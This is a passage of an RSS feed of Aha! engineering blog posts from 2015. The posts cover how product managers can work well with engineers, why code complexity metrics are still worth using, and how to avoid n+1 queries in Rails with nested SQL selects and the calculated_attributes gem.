&lt;p&gt;&lt;em&gt;If that sounds like you, we are always hiring driven and skilled developers to work on our Rails, CoffeeScript, and React.js stack – check out our &lt;a href=&quot;/company/careers&quot;&gt;careers page&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How Engineers Want to Work with Product Managers]]></title><description><![CDATA[Engineers want to build the product. They do not want to manage it. So, you can see why a good product manager is an engineer's dream come…]]></description><link>https://www.aha.io/engineering/articles/how-engineers-want-work-product-managers</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/how-engineers-want-work-product-managers</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Mon, 10 Aug 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Engineers want to build the product. They do not want to manage it. So, you can see why a good product manager is an engineer&apos;s dream come true. They empower the engineers on their team to build things that matter by setting clear and comprehensive goals, strategy, and initiatives. Then, great PMs prioritize potential features by how well they help their company achieve its goals.&lt;/p&gt;
&lt;p&gt;Conversely, a bad product manager is an &lt;a href=&quot;/blog/hey-product-managers-stop-pissing-off-the-engineers&quot;&gt;engineer&apos;s worst nightmare&lt;/a&gt;. An incompetent product manager can keep the engineers chasing shadows as they are &quot;asked&quot; (aka forced) to build and rebuild to keep up with priorities that may shift on a whim.&lt;/p&gt;
&lt;p&gt;Even worse, an ineffective product manager forces the engineers to take on portions of managing the product — a role that distracts and detracts from their primary work of building what matters. What separates a good product manager from a bad one? Endless articles have been written on this subject.&lt;/p&gt;
&lt;p&gt;At Aha! we speak with hundreds of product and engineering teams each month. We see both sides of the story. From an engineer&apos;s perspective, though, here is some simple advice for how to stay in the good graces of the engineers you work with.&lt;/p&gt;
&lt;h2&gt;Do Your Job First&lt;/h2&gt;
&lt;p&gt;It can be tempting as a product manager to overthink the product. Really, doing so is part of your job. But one area where it is important not to overthink is in actual implementation of new features or &quot;how&quot; things get built. That is what engineers are for. You should not prioritize features based on how hard you think they will be to build. Instead, start &lt;a href=&quot;/product/overview&quot;&gt;with the &quot;why&quot;&lt;/a&gt; and ask yourself if each feature will help your company achieve its &lt;a href=&quot;/product/strategy&quot;&gt;vision and goals&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Engineers care deeply about building things that people use. Sometimes, good product management creates extra work for engineers; they might have to push the limits of what your technology stack can do, or even add new components to provide new core functionality. There is a cost associated with this that a responsible product manager must consider — but do not overthink it. Instead, trust your engineers&apos; estimations and let go. A &lt;a href=&quot;/blog/5-tips-of-hyper-productive-developers&quot;&gt;hyper-productive engineer&lt;/a&gt; loves a good challenge.&lt;/p&gt;
&lt;h2&gt;Plan Twice, Code Once&lt;/h2&gt;
&lt;p&gt;Unrealistic expectations are perhaps the most frustrating aspect of working with non-technical users. These colleagues often have a poor understanding of how long something will take to build. Every engineer gets knowing grimaces when they relate stories of non-technical users spouting lines like, &quot;You just tap a few lines of code and it&apos;s done!&quot; Or, &quot;Just go drag some things around your screen!&quot;&lt;/p&gt;
&lt;p&gt;A healthy application is like a healthy organization: it is not a jumble of code, but rather a carefully organized hierarchy, and frequent changes often require substantial restructuring of that hierarchy behind the scenes. This creates work and frustration for the engineers.&lt;/p&gt;
&lt;p&gt;This is also why &lt;a href=&quot;/blog/5-signs-you-are-a-master-product-manager&quot;&gt;master product managers&lt;/a&gt; are thorough and — most importantly — decisive while planning. Waffling about whether new functionality should be added or how it should work creates frustration for the engineers (whether they show it or not). This indecision forces us to code and re-code the same thing over and over again — work that could have been saved had you been more willing to think through your plan before sending it to your dev team.&lt;/p&gt;
&lt;h2&gt;Admit Your Mistakes&lt;/h2&gt;
&lt;p&gt;We understand — you are human. Sometimes, you ask for a feature that a customer demands and then decide it is unnecessary. Or maybe you have a feature built and then decide that it should work a completely different way. The company&apos;s strategic goals and initiatives ought to be the highest priority; if this requires reworking an already-built component of the application, so be it.&lt;/p&gt;
&lt;p&gt;The most important thing is that you are able to admit your mistakes. Engineers will rarely get frustrated with a sincere, &quot;I am sorry; I had you implement this feature the wrong way, and I would like you to build it out differently instead.&quot;&lt;/p&gt;
&lt;p&gt;What &lt;em&gt;will&lt;/em&gt; frustrate the engineer (especially if this happens often) is obfuscation and &lt;a href=&quot;https://www.inhersight.com/blog/insight-commentary/gaslighting&quot;&gt;gaslighting&lt;/a&gt;. Yes, sometimes requirements change or are added as the feature takes shape. But if you ask for a complete restructuring of the initial spec, do not try to pass this off as a small change. Yes, the feature may have turned out differently than you wanted it. But it is your job to clearly and concisely communicate what you would like to have built. Do not pass blame off to your engineers.&lt;/p&gt;
&lt;p&gt;A good product manager is an engineer&apos;s best friend. Maintaining a solid relationship between the product management and development teams is essential to the healthy growth of any organization. The best news of all? This does not have to be hard. Clear communication is your gateway to success. Everyone on both teams will thank you both for it.&lt;/p&gt;
&lt;p&gt;Engineers and product managers, what have you found to be helpful when interacting with the &quot;other half&quot; of the relationship?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Code Complexity Metrics Suck — Use Them Anyway]]></title><description><![CDATA[I love contributing meaningful code to the open-source community; I do it every chance that I get. A few years back, I authored my first…]]></description><link>https://www.aha.io/engineering/articles/code-complexity-metrics-suck-use-anyway</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/code-complexity-metrics-suck-use-anyway</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Mon, 20 Jul 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I love contributing meaningful code to the open-source community; I do it every chance that I get. A few years back, I authored my first major &lt;a href=&quot;https://github.com/schneidmaster/gitreports.com&quot;&gt;open source project&lt;/a&gt; — a Rails application for developers to set up an anonymous bug report page. The bug reports generated GitHub issues on the relevant project.&lt;/p&gt;
&lt;p&gt;I refactored and improved my code over subsequent months — including placing the methods that integrate with the GitHub API in a service class executed asynchronously by Sidekiq. This ensured a quick response for users rather than waiting for round-trip latency to GitHub.&lt;/p&gt;
&lt;p&gt;I used this project as an excuse to test out any and all new SaaS developer platforms that caught my fancy. It allowed me to expand my awareness of the scope of available tools while also selecting the best options to improve my project.&lt;/p&gt;
&lt;p&gt;One of the solutions I tried was a SaaS service to automatically evaluate code complexity and identify complex methods or classes that require improvement. Most of my application was evaluated just fine right off the bat. It is a fairly simple application with few complex methods.&lt;/p&gt;
&lt;p&gt;However, the GitHub service class I described above drew the ire of the code complexity analyzer. It contained a &lt;a href=&quot;https://github.com/schneidmaster/gitreports.com/blob/master/app/services/github_service.rb#L14&quot;&gt;method&lt;/a&gt; that — while readable — was necessarily complex. When a user refreshed their repositories from GitHub, it had to fetch all user repositories and all organization repositories. It also removed any outdated user or organization repositories.&lt;/p&gt;
&lt;p&gt;I spent several hours trying to refactor the method to please the code complexity gods. I broke out sub-methods, shortened lines of code, and simplified logic. At some point, I realized that although my method was becoming programmatically simpler, it ended up far more difficult for a human to comprehend.&lt;/p&gt;
&lt;p&gt;The problem with code complexity metrics is that they apply a static benchmark to a dynamic problem. Sometimes, methods have to do complex things — that is the nature of code in the real world.&lt;/p&gt;
&lt;p&gt;But developers are not always helped by endlessly refactoring complex methods into smaller and smaller sub-methods. Such refactoring can cause easily understandable code to become obtusely nested.&lt;/p&gt;
&lt;p&gt;In the end, I took the easy way out and simply excluded my GitHub service class from the complexity metrics. I reached a point where I realized that further subdividing my methods was only obscuring my code.&lt;/p&gt;
&lt;p&gt;But upon reflection, I realized that using complexity metrics served an important (if less than perfect) purpose. It forced me to think critically and make intentional decisions about complex areas of my code. And these new ways of thinking ultimately improved the project as the whole.&lt;/p&gt;
&lt;p&gt;I ended up excluding the GitHub service. Even so, the class ended up in far better shape after I spent time addressing the complexity concerns raised by automated testing. And having a constant nagging reminder about code complexity made me think about the quality of each new commit I pushed.&lt;/p&gt;
&lt;p&gt;There is a human element to evaluating code quality that will never be removed. After all, it is really only human input that matters; machines don’t care about the quality of the code they execute.&lt;/p&gt;
&lt;p&gt;In that sense, code complexity metrics fail. They try to apply machine logic to what is at its core a human problem.&lt;/p&gt;
&lt;p&gt;But code complexity metrics also bring out the best in human developers: conscientious attention towards creating code that is readable for their fellow humans — and hopefully pleases the machine overlords as well. The importance of such attention cannot be overstated as projects grow and new developers must understand what has been written before them.&lt;/p&gt;
&lt;p&gt;Code complexity metrics suck. Use them anyway.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Using Nested Selects for Performance in Rails]]></title><description><![CDATA[Databases are fast, even at performing fairly complex operations. This is easy to forget in the age of ORMs and abstraction and many of us…]]></description><link>https://www.aha.io/engineering/articles/using-nested-selects-performance-rails</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/using-nested-selects-performance-rails</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Fri, 26 Jun 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Databases are &lt;strong&gt;fast&lt;/strong&gt;, even at performing fairly complex operations. This is easy to forget in the age of ORMs and abstraction and many of us haven’t written a line of raw SQL in months.&lt;/p&gt;
&lt;p&gt;But a solid, production-ready SQL database is mature, low-level, and thoroughly optimized for the task it’s designed to do: create, read, update, and delete a set of well-structured records.&lt;/p&gt;
&lt;p&gt;It’s important to keep the speed of your database in the back of your mind at all times — especially for Rails developers. The convenience of the ActiveRecord ORM does not always translate into a performant result; even with eager loading and joining, it’s often easy to write an n+1 query that kills production performance. This is especially true with a complex Rails architecture, which can magnify even small mistakes in optimization.&lt;/p&gt;
&lt;p&gt;Let’s take a relatively common case.&lt;/p&gt;
&lt;p&gt;Suppose we have a simple blog application written in Rails. It has a Post model (with predictable attributes like title, content, and author) and a Comment model (with post_id, body, and author). Now, let’s say we want to display some recent posts in a table, and include a column for the number of comments that have been made on each post.&lt;/p&gt;
&lt;p&gt;We might write something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;&amp;#x3C;!-- posts/index.html.erb --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;thead&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;th&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Post Title&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;th&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;th&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;# Comments&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;th&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;thead&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tbody&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;% @posts.each do |post| %&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;%= link_to post.title, post %&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;%= post.comments.count %&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;% end %&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tbody&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pretty straightforward. But what happens behind the scenes?&lt;/p&gt;
&lt;p&gt;ActiveRecord will first execute a query to get the list of posts (e.g. &lt;code&gt;select * from posts;&lt;/code&gt;) and then execute a subsequent query for each post to calculate how many comments it has (e.g. &lt;code&gt;select count(*) from comments where post_id = ?;&lt;/code&gt;). A classic n+1 problem; we end up with an unbounded number of queries as the number of posts increases.&lt;/p&gt;
&lt;p&gt;We can solve this problem with eager loading: &lt;code&gt;@posts.eager_load(:comments)&lt;/code&gt; will instruct ActiveRecord to include the comments in the initial query and thus prevent any further queries. When it works, eager loading is a simple and elegant solution to n+1 query problems. But unfortunately, it often only actually helps in the most trivial cases.&lt;/p&gt;
&lt;p&gt;To demonstrate this, let’s now posit that comments has an additional is_approved boolean attribute, so inappropriate comments can be removed by a moderator. Obviously, we only want to include comments that are visible in the comment count. But there is no easy way to do this in ActiveRecord without sacrificing eager loading.&lt;/p&gt;
&lt;p&gt;Adding a new where query to the comments relation causes ActiveRecord to discard the eager loaded data and perform a new query with an appropriate WHERE clause; the n+1 problem has come roaring back. As you can imagine, this quandary only worsens as you add layers of complexity to the application.&lt;/p&gt;
&lt;p&gt;What if we were using raw SQL to load the posts and comment counts? This problem would be easy to solve. We would write a single query, such as:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;posts&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; count&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; comments &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;WHERE&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; comments&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;post_id&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; posts&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; comments&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;is_approved&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; comments_count&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;posts&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But unfortunately, there is not a convenient way of achieving this result built into the ActiveRecord ORM, short of running a completely custom SQL query from scratch. The exceptional convenience of the ActiveRecord paradigm has come into conflict with the expedient performance and flexibility of raw SQL.&lt;/p&gt;
&lt;p&gt;To solve this problem at Aha! (&lt;em&gt;which is product roadmap software&lt;/em&gt;), we built and open-sourced a Ruby gem called &lt;a href=&quot;https://github.com/aha-app/calculated_attributes&quot;&gt;calculated_attributes&lt;/a&gt;. The gem extends ActiveRecord to permit definition of calculated attributes on models using a bit of raw SQL in a lambda. Returning to the example above, calculated_attributes would allow us to define a &lt;code&gt;:comments_count&lt;/code&gt; attribute on the &lt;code&gt;Post&lt;/code&gt; model:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# models/post.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Post&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ActiveRecord::Base&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  calculated &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:comments_count&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    -&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;SELECT count(*) FROM comments WHERE comments.post_id = posts.id AND comments.is_approved = 1&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then reference it in the controller/view to automatically incorporate the comments count in the ActiveRecord SQL query:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;&amp;#x3C;!-- posts/index.html.erb --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;thead&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;th&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Post Title&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;th&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;th&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;# Comments&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;th&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;thead&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tbody&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;% @posts.calculated(:comments_count).each do |post| %&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;%= link_to post.title, post %&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;%= post.comments.count %&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;% end %&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;tbody&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Presto! An elegant solution to eliminate the n+1 query problem and incorporate the flexibility of raw SQL into the ActiveRecord paradigm.&lt;/p&gt;
&lt;p&gt;ORMs and abstractions such as ActiveRecord are incredibly useful in eliminating boilerplate code and allowing Agile development teams to rapidly implement new features. But they also allow for mounting performance problems if used carelessly.&lt;/p&gt;
&lt;p&gt;It is important when writing Rails to think carefully about what the abstractions are doing behind the scenes and find or build in optimizations when necessary. If you want to push the limits of what is possible with Rails at at a rapidly growing SaaS company founded by two Silicon Valley veterans, check out our &lt;a href=&quot;/company/careers&quot;&gt;careers page&lt;/a&gt;.&lt;/p&gt;
